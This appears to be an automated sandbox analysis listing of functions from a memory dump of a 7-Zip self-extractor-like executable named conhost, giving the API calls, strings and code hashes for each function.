Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d2dfe2abf301309d362131bd93a747da233b6c9be4ce09f95f662486bda0cf4
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 6d2dfe2abf301309d362131bd93a747da233b6c9be4ce09f95f662486bda0cf4
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.KERNELBASE ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 97a8aa572a0e13242c78b64df3e25647ab512bad2699655ee8ca556d604462d2
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 97a8aa572a0e13242c78b64df3e25647ab512bad2699655ee8ca556d604462d2
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00000000,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00000000,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: b9d2b8b26deb239750c1256f34f8bdf53d5006d9aff6b58cb728aae548244888
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: b9d2b8b26deb239750c1256f34f8bdf53d5006d9aff6b58cb728aae548244888
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000026,00000026,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 1d99ede1e001d7e7e82d2ecfd46f9ffb4f3f9742f954f11f7ef203ccadac83bd
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 1d99ede1e001d7e7e82d2ecfd46f9ffb4f3f9742f954f11f7ef203ccadac83bd
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 9e4d4322e0fcba515db248e1bd89817621d99ea5afaaaba96eef9a11a4596329
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 9e4d4322e0fcba515db248e1bd89817621d99ea5afaaaba96eef9a11a4596329
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004032E9 Relevance: 4.5, APIs: 3, Instructions: 34COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000000,00405928,?), ref: 004032FC

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

